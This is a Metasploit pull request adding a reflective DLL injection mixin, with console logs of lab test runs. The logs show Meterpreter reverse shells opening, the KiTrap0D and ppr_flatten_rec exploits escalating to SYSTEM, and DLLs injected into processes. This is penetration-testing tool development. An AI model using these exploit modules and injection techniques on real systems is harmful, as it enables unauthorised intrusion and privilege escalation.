rapid7/metasploit-framework — pull request #2721 by OJ (2013-12-04 06:13:55+00:00)
Title: Add RDI mixin module and refactor things to use it

## Rationale
MSF was starting to see more modules using RDI to load binaries into remote processes, so it made sense to create a mixin which contained the functionality that was being used in various locations.

This commit contains the new mixin, and adjustments to all the existing exploits and modules which use RDI.

I haven't done a mixin before, so I picked a spot which I thought made sense and put it there. As always, this PR is open to lots of critique to make sure we get it right.

## Validation

- [ ] `Kitrap0d` works
- [ ] `ppr_flatten_rec` works
- [ ] `reflective_dll_inject` works
- [ ] payloads continue to work in x86
- [ ] payloads continue to work in x64
- [ ] RDI mixin doesn't look like it's written by a noob

## Test Runs

### HTTP Payload
```
msf exploit(handler) > exploit

[*] Started HTTP reverse handler on http://10.5.26.40:8000/
[*] Starting the payload handler...
[*] 10.5.26.43:49303 Request received for /JGaj...
[*] 10.5.26.43:49303 Staging connection for target /JGaj received...
[*] Patched user-agent at offset 678544...
[*] Patched transport at offset 678208...
[*] Patched URL at offset 678272...
[*] Patched Expiration Timeout at offset 679144...
[*] Patched Communication Timeout at offset 679148...
[*] Meterpreter session 10 opened (10.5.26.40:8000 -> 10.5.26.43:49303) at 2013-12-04 16:07:12 +1000

meterpreter > sysinfo
Computer : WIN-P73NLAJOYFH
OS : Windows Vista (Build 6002, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
```

### KiTrap0D
```
msf exploit(ms10_015_kitrap0d) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.5.26.40:4444
[*] Launching notepad to host the exploit...
[+] Process 2508 launched.
[*] Reflectively injecting the exploit DLL into 2508...
[*] Injecting exploit into 2508 ...
[*] Exploit injected. Injecting payload into 2508...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (786432 bytes) to 10.5.26.40
[*] Meterpreter session 5 opened (10.5.26.40:4444 -> 10.5.26.40:43928) at 2013-12-04 15:46:00 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

### ppr_flatten_rec
```
msf exploit(ppr_flatten_rec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.5.26.40:4444
[*] Launching notepad to host the exploit...
[+] Process 3928 launched.
[*] Reflectively injecting the exploit DLL into 3928...
[*] Injecting exploit into 3928 ...
[*] Exploit injected. Injecting payload into 3928...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 10 sec ...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (786432 bytes) to 10.5.26.43
[*] Meterpreter session 8 opened (10.5.26.40:4444 -> 10.5.26.43:49201) at 2013-12-04 16:00:53 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

### Reflective Loading x86
```
msf post(reflective_dll_inject) > rexploit
[*] Reloading module...

[*] Running module against WIN-S45GUQ5KGVK
[*] Injecting /home/oj/code/metasploit-framework/data/meterpreter/ext_server_extapi.x86.dll into 4080 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
```

### Reflective Loading x64
```
msf post(reflective_dll_inject) > rexploit
[*] Reloading module...

[*] Running module against WIN-S45GUQ5KGVK
[*] Injecting /home/oj/code/metasploit-framework/data/meterpreter/ext_server_extapi.x64.dll into 3856 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
```